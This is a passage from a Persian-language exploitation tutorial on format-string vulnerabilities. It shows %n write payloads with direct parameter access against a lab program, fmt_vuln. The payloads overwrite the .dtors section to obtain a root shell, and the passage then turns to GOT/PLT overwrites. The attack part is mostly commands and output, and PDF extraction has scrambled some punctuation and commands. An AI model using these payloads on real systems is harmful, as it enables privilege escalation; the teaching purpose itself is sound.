ﺻﺮف ﺗﻤﺮﯾﻦ ﺑﺎ اﺳﺘﻔﺎده از دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮﺳﻌﯽ ﺑﺮ.ﻧﺎﺣﯿﻪ ﺣﺎﻓﻈﻪ ای ﻣﻮﺟﻮد در ﻗﺒﻞ از رﺷﺘﻪ ﻓﺮﻣﺖ دﺳﺖ ﯾﺎﺑﺪ
. ﻣﯽ ﮐﻨﯿﻢtest_val در ﻣﺘﻐﯿﺮ0xbffffd72 ﻧﻮﺷﺘﻦ ﯾﮏ آدرس واﻗﻌﯽ ﺗﺮ )و ﻧﻪ آدرس ﻫﺎی ﺗﻤﺜﯿﻠﯽ( ﻣﺜﻞ
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$x%4\
$n
The right way:
%3$x%4$n
The wrong way:
3e8
[*] test_val @ 0x08049570 = 19 0x00000013
$ pcalc 0x72 - 16
98 0x62 0y1100010
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$98x%
4\$n
The right way:
%3$98x%4$n
The wrong way:
3e8
[*] test_val @ 0x08049570 = 114 0x00000072
$
$ pcalc 0xfd - 0x72
139 0x8b 0y10001011
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$98x%
4\$n%3\$
139x%5\$n
The right way:
%3$98x%4$n%3$139x%5$n
The wrong way:
3e8
3e8
[*] test_val @ 0x08049570 = 64882 0x0000fd72
$
$ pcalc 0xff - 0xfd
2 0x2 0y10
$ pcalc 0x1ff - 0xfd
258 0x102 0y100000010
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$98x%
4\$n%3\$
139x%5\$n%3\$258x%6\$n
The right way:
%3$98x%4$n%3$139x%5$n%3$258x%6$n
The wrong way:
3e8
3e8
3e8
[*] test_val @ 0x08049570 = 33553778 0x01fffd72
$
$ pcalc 0xbf - 0xff
-64 0xffffffc0 0y11111111111111111111111111000000
$ pcalc 0x1bf - 0xff
192 0xc0 0y11000000
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$98x%
4\$n%3\$
63
139x%5\$n%3\$258x%6\$n%3\$192x%7\$n
The right way:
%3$98x%4$n%3$139x%5$n%3$258x%6$n%3$192x%7$n
The wrong way:
3e8
3e8
3e8
3e8
[*] test_val @ 0x08049570 = -1073742478 0xbffffd72
$
واﺿﺢ اﺳﺖ ﮐﻪ دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ ،ﻓﺮآﯾﻨﺪ ﻧﻮﺷﺘﻦ ﯾـﮏ آدرس را ﺗـﺴﻬﯿﻞ ﮐـﺮده و اﻧـﺪازه ﮐﻤﯿﻨـﻪ و ﺿـﺮوری در
رﺷﺘﻪ ﻓﺮﻣﺖ را ﮐﺎﻫﺶ ﻣﯽ دﻫﺪ.
ﻗﺎﺑﻠﯿﺖ ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ ﺑﺮ ﻗﺎﺑﻠﯿﺖ ﮐﻨﺘـﺮل روﻧـﺪ اﺟﺮاﯾـﯽ ﺑﺮﻧﺎﻣـﻪ دﻻﻟـﺖ ﻣـﯽ ﮐﻨـﺪ .ﯾـﮏ ﮔﺰﯾﻨـﻪ،
ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس ﺑﺮﮔﺸﺖ در ﺟﺪﯾﺪﺗﺮﯾﻦ ﻗﺎب ﭘﺸﺘﻪ اﺳﺖ )ﻫﻤﺎن ﮐﺎری ﮐﻪ در ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑـﺮ ﭘـﺸﺘﻪ اﻧﺠـﺎم ﻣـﯽ
ﺷﺪ( .اﮔﺮﭼﻪ اﯾﻦ راه ﺣﻞ ﻋﻤﻠﯽ و ﻣﻤﮑﻦ اﺳﺖ ،اﻣﺎ ﻫﺪف ﻫﺎی دﯾﮕﺮ ﺑﺎ آدرس ﻫﺎی ﺣﺎﻓﻈﻪ ایِ ﻗﺎﺑﻞ ﭘﯿﺶ ﺑﯿﻨـﯽ ﺗـﺮی ﻧﯿـﺰ
وﺟﻮد دارﻧﺪ .ﻣﺎﻫﯿﺖ ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ ﺗﻨﻬﺎ اﻣﮑﺎن ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس ﺑﺮﮔﺸﺖ را ﻓﺮاﻫﻢ ﻣـﯽ آورد ،در ﺣﺎﻟﯿﮑـﻪ
در آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی رﺷﺘﻪ -ﻓﺮﻣﺖ اﻣﮑﺎن ﺟﺎﯾﻨﻮﯾﺴﯽ ﻫﺮ آدرس ﺣﺎﻓﻈـﻪ وﺟـﻮد دارد ﮐـﻪ در ﻧﺘﯿﺠـﻪ ﻣﻨﺠـﺮ ﺑـﻪ ﻇﻬـﻮر
اﺣﺘﻤﺎﻻت و ﺗﮑﻨﯿﮏ ﻫﺎی دﯾﮕﺮی ﻣﯽ ﮔﺮدد.
در ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه ﺑﺎ ﮐﺎﻣﭙﺎﯾﻠﺮ GNU Cﺑﺨﺶ ﻫﺎی ﺟﺪوﻟﻬﺎی ﺧﺎﺻﯽ ﺑﻪ ﻧﺎم .dtorsو .ctorsﺑﻪ ﺗﺮﺗﯿﺐ ﺑـﺮای
ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه ﻫﺎ ) (destructorو ﺳﺎزﻧﺪه ﻫﺎ ) (constructorﺳﺎﺧﺘﻪ ﻣﯽ ﺷـﻮﻧﺪ .ﺗﻮاﺑـﻊ ﺳـﺎزﻧﺪه ﻗﺒـﻞ از اﺟـﺮای ﺗـﺎﺑﻊ
mainو ﺗﻮاﺑﻊ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه ،درﺳﺖ ﺑﻌﺪ از ﺧﺮوج از ﺗﺎﺑﻊ mainﺑﺎ ﯾـﮏ ﻓﺮاﺧـﻮاﻧﯽ ﺳﯿـﺴﺘﻤﯽ ،exitاﺟـﺮا ﻣـﯽ ﺷـﻮﻧﺪ.
ﺗﻮاﺑﻊ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه و ﺑﺨﺶ ﺟﺪوﻟﯽِ .dtorsﺟﺬاﺑﯿﺖ ﺧﺎﺻﯽ دارﻧﺪ.
ﺑﺎ ﺗﻌﺮﯾﻒ ﺻﻔﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ ﻣﯽ ﺗﻮان ﯾﮏ ﺗﺎﺑﻊ را ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺗﺎﺑﻊ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه اﻋﻼن ﮐﺮد .در ﮐﺪ ﻧﻤﻮﻧـﻪ زﯾـﺮ
اﯾﻦ ﻣﺴﺌﻠﻪ را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ.
dtors_sample.c code
>#include <stdlib.h
)(main
{
;)"printf("Some actions happen in the main() function..\n
;)"printf("and then when main() exits, the destructor is called..\n
;)exit(0
}
)void cleanup(void
{
;)"printf("In the cleanup function now..\n
}
در ﮐﺪ ﻧﻤﻮﻧﻪ ﺑﺎﻻ ،ﺗﺎﺑﻊ )( cleanupﺑﻪ ﺻﻔﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ ﺗﻌﺮﯾﻒ ﺷﺪه اﺳﺖ ،ﻟﺬا ﭘﺲ از ﺧـﺮوج ﺗـﺎﺑﻊ ) mainﺟﻬـﺖ
ﺑﺎزﮔﺸﺖ ﺑﻪ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ( ،اﯾﻦ ﺗﺎﺑﻊ ﺑﻪ ﺻﻮرت ﺧﻮدﮐﺎر اﺟﺮا ﻣﯽ ﺷﻮد .در زﯾﺮ اﯾﻦ ﻣﺴﺌﻠﻪ ﻣﺸﻬﻮد اﺳﺖ.
$ gcc -o dtors_sample dtors_sample.c
$ ./dtors_sample
Some actions happen in the main() function..
64
and then when main() exits, the destructor is called..
In the cleanup function now..
$
. در ﺑـﺎﯾﻨﺮی ﮐﻨﺘـﺮل ﻣـﯽ ﺷـﻮد.dtors ِ( ﺑﺎ ﺑﺨﺶ ﺟﺪوﻟﯽexit) اﯾﻦ رﻓﺘﺎر ﯾﻌﻨﯽ اﺟﺮای ﺧﻮدﮐﺎر ﯾﮏ ﺗﺎﺑﻊ در زﻣﺎن ﺧﺮوج
آراﯾـﻪ ﻫﻤﯿـﺸﻪ در آدرس. ﺑﯿﺘﯽ اﺳﺖ ﮐﻪ ﺑﺎ ﯾـﮏ آدرس ﭘـﻮچ ﺧﺎﺗﻤـﻪ ﯾﺎﻓﺘـﻪ اﻧـﺪ32 اﯾﻦ ﺑﺨﺶ آراﯾﻪ ای از آدرس ﻫﺎی
آدرس ﻫـﺎی ﺗﻤـﺎم ﺗﻮاﺑـﻊ اﻋـﻼن، ﮐﻪ ﺑﯿﻦ آﻧﻬـﺎ، ﭘﺎﯾﺎن ﻣﯽ ﯾﺎﺑﺪ0x00000000 ﺷﺮوع ﺷﺪه و ﺑﺎ آدرس ﭘﻮچ0xffffffff
.ﺷﺪه ﺑﺎ ﺧﺎﺻﯿﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ وﺟﻮد دارﻧﺪ
را ﺑـﻪ ﻣﻨﻈـﻮر ﺑﺮرﺳـﯽ ﺑﺨـﺶ ﻫـﺎی ﻣﺨﺘﻠـﻒobjdump وcleanup را ﺟﻬﺖ ﯾـﺎﻓﺘﻦ آدرس ﺗـﺎﺑﻊnm ﻣﯽ ﺗﻮان دﺳﺘﻮر
.ﺑﺎﯾﻨﺮی ﺑﮑﺎر ﺑﺮد
$ nm ./dtors_sample
080494d0 D _DYNAMIC
080495b0 D _GLOBAL_OFFSET_TABLE_
08048404 R _IO_stdin_used
w _Jv_RegisterClasses
0804959c d __CTOR_END__
08049598 d __CTOR_LIST__
080495a8 d __DTOR_END__
080495a0 d __DTOR_LIST__
080494cc d __EH_FRAME_BEGIN__
080494cc d __FRAME_END__
080495ac d __JCR_END__
080495ac d __JCR_LIST__
080495cc A __bss_start
080494c0 D __data_start
080483b0 t __do_global_ctors_aux
08048300 t __do_global_dtors_aux
080494c4 d __dso_handle
w __gmon_start__
U __libc_start_main@@GLIBC_2.0
080495cc A _edata
080495d0 A _end
080483e0 T _fini
08048400 R _fp_hw
08048254 T _init
080482b0 T _start
080482d4 t call_gmon_start
0804839c t cleanup
080495cc b completed.1
080494c0 W data_start
U exit@@GLIBC_2.0
08048340 t frame_dummy
08048368 T main
080494c8 d p.0
U printf@@GLIBC_2.0
$ objdump -s -j .dtors ./dtors_sample
65
اﮔﺮﭼﻪ اﯾﻦ ﺧﺮوﺟﯽ ﻣﻤﮑﻦ اﺳﺖ اﻧﺪﮐﯽ ﮔﻤﺮاه، را ﺑﻪ ﻧﻤﺎﯾﺶ ﻣﯽ ﮔﺬارد.dtors ﻣﺤﺘﻮای واﻗﻌﯽ ﺑﺨﺶobjdump دﺳﺘﻮر
را ﻧﺸﺎن داده اﺳـﺖ و ﭘـﺲ از آن ﻧﯿـﺰ ﺑﺎﯾـﺖ.dtors ﺑﻪ ﺳﺎدﮔﯽ ﻣﺤﻞ ﺷﺮوع ﺑﺨﺶ80495a0 ﻣﻘﺪار.ﮐﻨﻨﺪه ﺑﻪ ﻧﻈﺮ آﯾﺪ
ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ اﯾﻦ دو ﻧﮑﺘﻪ ﻣـﯽ ﺗـﻮان.(ﻫﺎی ﺣﻘﯿﻘﯽ ﻧﻤﺎﯾﺶ داده ﺷﺪه اﻧﺪ )ﯾﻌﻨﯽ ﺑﺎﯾﺖ ﻫﺎ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس ﻫﺴﺘﻨﺪ
.ﺑﺮ اﯾﻦ ﮔﻤﺮاه ﮐﻨﻨﺪﮔﯽ ﻓﺎﺋﻖ آﻣﺪ
در ﺻﻮرت ﺑﺮرﺳﯽ ﻫـﺪرﻫﺎی ﺑﺮﻧﺎﻣـﻪ ﺑـﺎ.( آن اﺳﺖwritable) ﻗﺎﺑﻞ ﻧﻮﺷﺘﻦ ﺑﻮدن.dtors ﻧﮑﺘﻪ و ﻣﻬﻢ ﺟﺎﻟﺐ ﺣﻮل ﺑﺨﺶ
. ﺑﺮﭼﺴﺐ ﮔﺬاری ﻧﺸﺪه اﺳﺖREADONLY ﺑﺎ ﻋﻨﻮان.dtors ﺧﻮاﻫﯿﻢ دﯾﺪ ﮐﻪ ﺑﺨﺶobjdump
$ objdump -h ./dtors_sample
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 080480f4 080480f4 000000f4 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048108 08048108 00000108 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .hash 0000002c 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .dynsym 00000060 08048154 08048154 00000154 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynstr 00000051 080481b4 080481b4 000001b4 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gnu.version 0000000c 08048206 08048206 00000206 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version_r 00000020 08048214 08048214 00000214 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .rel.dyn 00000008 08048234 08048234 00000234 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.plt 00000018 0804823c 0804823c 0000023c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .init 00000018 08048254 08048254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .plt 00000040 0804826c 0804826c 0000026c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 00000130 080482b0 080482b0 000002b0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001c 080483e0 080483e0 000003e0 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 000000c0 08048400 08048400 00000400 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .data 0000000c 080494c0 080494c0 000004c0 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .eh_frame 00000004 080494cc 080494cc 000004cc 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dynamic 000000c8 080494d0 080494d0 000004d0 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .ctors 00000008 08049598 08049598 00000598 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dtors 0000000c 080495a0 080495a0 000005a0 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 080495ac 080495ac 000005ac 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got 0000001c 080495b0 080495b0 000005b0 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .bss 00000004 080495cc 080495cc 000005cc 2**2
ALLOC
22 .comment 00000060 00000000 00000000 000005cc 2**0
CONTENTS, READONLY
23 .debug_aranges 00000058 00000000 00000000 00000630 2**3
CONTENTS, READONLY, DEBUGGING
24 .debug_info 000000b4 00000000 00000000 00000688 2**0
CONTENTS, READONLY, DEBUGGING
66
25 .debug_abbrev 0000001c 00000000 00000000 0000073c 2**0
CONTENTS, READONLY, DEBUGGING
26 .debug_line 000000ff 00000000 00000000 00000758 2**0
CONTENTS, READONLY, DEBUGGING
$
ﻧﮑﺘﻪ ﻣﻬﻢ دﯾﮕﺮ ﺣﻮل ﺑﺨﺶ .dtorsاﯾﻦ اﺳﺖ ﮐﻪ اﯾﻦ ﺑﺨﺶ در ﺗﻤﺎم ﺑﺎﯾﻨﺮی ﻫﺎی ﮐﺎﻣﭙﺎﯾـﻞ ﺷـﺪه ﺑـﺎ ﮐﺎﻣﭙـﺎﯾﻠﺮ GNU C
ﻗﺮار ﻣﯽ ﮔﯿﺮد ،ﺻﺮف از اﯾﻨﮑﻪ آﯾﺎ ﺗﺎﺑﻌﯽ ﺑﺎ ﺻﻔﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ در آن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺗﻌﺮﯾﻒ ﺷﺪه اﺳﺖ ﯾﺎ ﺧﯿـﺮ .در اﯾـﻦ
ﺻﻮرت ﺑﺮﻧﺎﻣﻪ ) fmt_vulnﮐﻪ ﯾﮏ آﺳﯿﺐ ﭘﺬﯾﺮی رﺷﺘﻪ-ﻓﺮﻣﺖ داﺷﺖ( ﻧﯿﺰ ﺑﺎﯾﺪ دارای ﯾﮏ ﺑﺨـﺶ .dtorsوﻟـﯽ ﺑـﺪون
داده )ﺧﺎﻟﯽ( ﺑﺎﺷﺪ )ﭼﻮن ﻫﯿﭻ ﺗﺎﺑﻌﯽ در ﺑﺮﻧﺎﻣﻪ fmt_vulnﺑﺎ ﺧﺎﺻﯿﺖ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪﮔﯽ ﺗﻌﺮﯾﻒ ﻧﺸﺪه ﺑﻮد( .اﯾـﻦ ﻣـﺴﺌﻠﻪ
را ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از nmو objdumpﺑﺮرﺳﯽ ﮐﺮد.
$ nm ./fmt_vuln | grep DTOR
__0804964c d __DTOR_END
__08049648 d __DTOR_LIST
$ objdump -s -j .dtors ./fmt_vuln
3e8
[*] test_val @ 0x08049570 = 148 0x00000094
67
$ pcalc 0xfd - 0x94
105 0x69 0y1101001
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$132x
%4\$n%3\
$105x%5\$n
The right way:
%3$132x%4$n%3$105x%5$n
The wrong way:
3e8
3e8
[*] test_val @ 0x08049570 = 64916 0x0000fd94
$ pcalc 0xff - 0xfd
2 0x2 0y10
$ pcalc 0x1ff - 0xfd
258 0x102 0y100000010
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$132x
%4\$n%3\
$105x%5\$n%3\$258x%6\$n
The right way:
%3$132x%4$n%3$105x%5$n%3$258x%6$n
The wrong way:
3e8
3e8
3e8
[*] test_val @ 0x08049570 = 33553812 0x01fffd94
$ pcalc 0xbf - 0xff
-64 0xffffffc0 0y11111111111111111111111111000000
$ pcalc 0x1bf - 0xff
192 0xc0 0y11000000
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08"'%3\$132x
%4\$n%3\
$105x%5\$n%3\$258x%6\$n%3\$192x%7\$n
The right way:
%3$132x%4$n%3$105x%5$n%3$258x%6$n%3$192x%7$n
The wrong way:
3e8
3e8
3e8
3e8
[*] test_val @ 0x08049570 = -1073742444 0xbffffd94
$
4 ﺗﻨﻬـﺎ ﺗﻨﻬـﺎ ﮐﺎﻓﯿـﺴﺖ ﮐـﻪ، .dtors ( در ﺑﺨـﺶtest_val )ﺑـﻪ ﺟـﺎی ﻣﺘﻐﯿـﺮ0xbffffd94 اﮐﻨﻮن ﺟﻬﺖ ﻧﻮﺷﺘﻦ آدرس
ﺗﻐﯿﯿـﺮ0x0804964f و0x0804964e ،0x0804964d ،0x0804964c آدرس ﻧﺨﺴﺖ در اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ را ﺑﻪ
.دﻫﯿﻢ
$ ./fmt_vuln 'printf
"\x4c\x96\x04\x08\x4d\x96\x04\x08\x4e\x96\x04\x08\x4f\x96\x04\x08"'%3\$132x
%4\$n%3\
$105x%5\$n%3\$258x%6\$n%3\$192x%7\$n
The right way:
%3$132x%4$n%3$105x%5$n%3$258x%6$n%3$192x%7$n
The wrong way:
3e8
68
3e8
3e8
3e8
[*] test_val @ 0x08049570 = -72 0xffffffb8
sh-2.05a# whoami
root
sh-2.05a#
اﮔﺮﭼﻪ ﺑﺨﺶ .dtorsﺑﻪ درﺳﺘﯽ ﺑﺎ آدرس ﭘﻮچ 0x00000000ﺧﺎﺗﻤﻪ ﻧﯿﺎﻓﺘﻪ اﺳﺖ ،اﻣﺎ ﻫﻨﻮز ادرس ﺷﻞ-ﮐـﺪ ﺑـﻪ ﻋﻨـﻮان
ﯾﮏ ﺗﺎﺑﻊ ﺗﺨﺮﯾﺐ ﮐﻨﻨﺪه ﻓﺮض ﻣﯽ ﺷﻮد .ﺑﻨﺎﺑﺮاﯾﻦ ﺑﻪ ﻫﻨﮕﺎم ﺧﺮوج ﺑﺮﻧﺎﻣﻪ ﻓﺮاﺧﻮاﻧﯽ ﺷﺪه و ﺑـﻪ ﻣـﺎ ﯾـﮏ ﭘﻮﺳـﺘﻪ رﯾـﺸﻪ را
اﻋﻄﺎ ﺧﻮاﻫﺪ ﮐﺮد.
ﭼﻮن ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﺗﻮاﻧﺪ از ﯾﮏ ﺗﺎﺑﻊ ﻣﻮﺟﻮد در ﯾﮏ ﮐﺘﺎﺑﺨﺎﻧﻪ اﺷﺘﺮاﮐﯽ ﺑﻪ دﻓﻌﺎت اﺳﺘﻔﺎده ﮐﻨﺪ ،ﻟﺬا داﺷﺘﻦ ﯾﮏ ﺟـﺪول
ﺑﺮای ارﺟﺎع ﺗﻤﺎم ﺗﻮاﺑﻊ ﻣﻔﯿﺪ ﺧﻮاﻫﺪ ﺑﻮد .ﺑﺨﺶ وﯾﮋه دﯾﮕﺮی در ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه ﺑﻪ اﯾﻦ ﻣﻨﻈـﻮر ﺑﮑـﺎر ﻣـﯽ رود
ﮐﻪ اﺻﻄﻼﺣﺎ ﺟﺪول ﭘﯿﻮﻧﺪ روﯾﻪ ) (Procedure Linkage Tableﯾﺎ ﺑﻪ ﻃﻮر ﺧﻼﺻﻪ PLTﻧﺎم دارد .اﯾﻦ ﺑﺨـﺶ ﺣـﺎوی
دﺳﺘﻮرات ﭘﺮش ) (jumpزﯾﺎدی اﺳﺖ ﮐﻪ ﯾﮏ ﻣﺘﻨﺎﻇﺮ ﺑﺎ آدرس ﯾﮏ ﺗﺎﺑﻊ اﺳﺖ .ﻫﺮ زﻣﺎن ﮐﻪ ﻧﯿﺎز ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ ﯾﮏ ﺗـﺎﺑﻊ
اﺷﺘﺮاﮐﯽ ﺑﺎﺷﺪ ،روﻧﺪ اﺟﺮا ﺑﻪ ﺟﺪول ﭘﯿﻮﻧﺪ روﯾﻪ ﻫﺪاﯾﺖ ﻣﯽ ﮔﺮدد.
ﻣﯽ ﺗﻮان ﺑﺎ ﺑﺮﻧﺎﻣﻪ objdumpﺑﺨﺶ PLTدر ﺑﺮﻧﺎﻣﻪ ) fmt_vulnدارای آﺳﯿﺐ ﭘـﺬﯾﺮی رﺷـﺘﻪ-ﻓﺮﻣـﺖ( را دﯾﺰاﺳـﻤﺒﻞ
ﮐﺮده و دﺳﺘﻮرات ﭘﺮش را ﻣﺸﺎﻫﺪه ﻧﻤﻮد:
$ objdump -d -j .plt ./fmt_vuln
08048290 <.plt>:
8048290: ff 35 58 96 04 08 pushl 0x8049658
8048296: ff 25 5c 96 04 08 jmp *0x804965c
804829c: 00 00 add )%al,(%eax
804829e: 00 00 add )%al,(%eax
80482a0: ff 25 60 96 04 08 jmp *0x8049660
80482a6: 68 00 00 00 00 push $0x0
80482ab: e9 e0 ff ff ff jmp >8048290 <_init+0x18
80482b0: ff 25 64 96 04 08 jmp *0x8049664
80482b6: 68 08 00 00 00 push $0x8
80482bb: e9 d0 ff ff ff jmp >8048290 <_init+0x18
80482c0: ff 25 68 96 04 08 jmp *0x8049668
80482c6: 68 10 00 00 00 push $0x10
80482cb: e9 c0 ff ff ff jmp >8048290 <_init+0x18
80482d0: ff 25 6c 96 04 08 jmp *0x804966c
80482d6: 68 18 00 00 00 push $0x18
80482db: e9 b0 ff ff ff jmp >8048290 <_init+0x18
$
ﯾﮑﯽ از اﯾﻦ دﺳﺘﻮرات ﭘﺮش ﻣﺮﺗﺒﻂ ﺑﺎ ﺗﺎﺑﻊ ) exitﮐﻪ در اﻧﺘﻬﺎی ﺑﺮﻧﺎﻣﻪ ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﺷﻮد( اﺳﺖ .اﮔﺮ ﺑﺘﻮان دﺳﺘﻮر ﭘﺮش
ﻣﻮرد اﺳﺘﻔﺎده ﺑﺮای ﺗﺎﺑﻊ exitرا ﻃﻮری دﺳﺘﮑﺎری ﮐﺮد ﮐﻪ روﻧﺪ اﺟﺮا ﺑﻪ ﺟﺎی ﺗﺎﺑﻊ ،exitﺑﻪ ﺷﻞ-ﮐﺪ ﻫﺪاﯾﺖ ﺷﻮد ،آﻧﮕـﺎه
ﻣﯽ ﺗﻮان ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ را ﺗﻮﻟﯿﺪ ﮐﺮد .ﻟﺬا در ﺣﺎل ﺣﺎﺿﺮ ﺑﺨﺶ PLTرا ﺑﺎ ﺟﺰﺋﯿﺎت ﺑﯿﺸﺘﺮی ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﯿﻢ.
$ objdump -h ./fmt_vuln | grep -A 1 .plt
8 .rel.plt 00000020 08048258 08048258 00000258 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
--
69
10 .plt 00000050 08048290 08048290 00000290 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
$
ﻫﻤﺎن ﻃﻮر ﮐﻪ اﯾﻦ ﺧﺮوﺟﯽ ﻧﺸﺎن ﻣﯽ دﻫﺪ ،ﻣﺘﺎﺳﻔﺎﻧﻪ ﺟﺪول ﭘﯿﻮﻧـﺪ روﯾـﻪ در ﺣﺎﻟـﺖ ﻓﻘـﻂ-ﺧﻮاﻧـﺪﻧﯽ ) (read-onlyﻗـﺮار
دارد .اﻣﺎ ﺑﺎ ﺑﺮرﺳﯽ ﺑﯿﺸﺘﺮ ﻣﻌﻠﻮم ﻣﯽ ﮔﺮدد ﮐﻪ دﺳﺘﻮرات ﭘﺮش) ،ﻣـﺴﺘﻘﯿﻤﺎ( ﺑـﻪ آدرس ﻫـﺎ ﭘـﺮش ﻧﻤـﯽ ﮐﻨﻨـﺪ ،ﺑﻠﮑـﻪ ﺑـﻪ
اﺷﺎرﮔﺮﻫﺎﯾﯽ از آن آدرس ﻫﺎی ﭘﺮش ﻣﯽ ﮐﻨﻨﺪ .ﭘﺲ ﻧﺘﯿﺠﻪ ﻣﯽ ﮔﯿﺮﯾﻢ ﮐﻪ ﻣﮑﺎن واﻗﻌﯽِ ﺗﻤﺎم ﺗﻮاﺑﻊ در آدرﺳﻬﺎی ﺣﺎﻓﻈـﻪ
0x08049668 ،0x08049664 ،0x08049660و 0x0804966cﻗﺮار دارد.
اﯾﻦ آدرس ﻫﺎی ﺣﺎﻓﻈﻪ در ﺑﺨﺶ وﯾﮋه دﯾﮕﺮی ﺑﻪ ﻧﺎم ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ ) (global offset tableﯾﺎ ﺑﻪ ﻃﻮر ﺧﻼﺻﻪ
GOTﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ .ﻧﮑﺘﻪ ﻣﻬﻢ در راﺑﻄﻪ ﺑﺎ ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ اﯾﻦ اﺳﺖ ﮐﻪ اﯾﻦ ﺟﺪول ﺑﻪ ﺻﻮرت ﻓﻘـﻂ-ﺧﻮاﻧـﺪﻧﯽ
ﻋﻼﻣﺖ ﮔﺬاری ﻧﺸﺪه اﺳﺖ .اﯾﻦ ﻣﺴﺌﻠﻪ را در ﺧﺮوﺟﯽ زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ:
$ objdump -h ./fmt_vuln | grep -A 1 .got
20 .got 00000020 08049654 08049654 00000654 2**2
CONTENTS, ALLOC, LOAD, DATA
$ objdump -d -j .got ./fmt_vuln
./fmt_vuln: file format elf32-i386
08049654 <_GLOBAL_OFFSET_TABLE_>:
8049654: 78 95 04 08 00 00 00 00 00 00 00 00 a6 82 04 08
x...............
8049664: b6 82 04 08 c6 82 04 08 d6 82 04 08 00 00 00 00
................
$
ﺧﺮوﺟﯽ ﺑﺎﻻ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ دﺳﺘﻮر ﭘـﺮش jmp *0x08049660در ﺟـﺪول ﭘﯿﻮﻧـﺪ روﯾـﻪ در ﺣﻘﯿﻘـﺖ روﻧـﺪ اﺟـﺮای
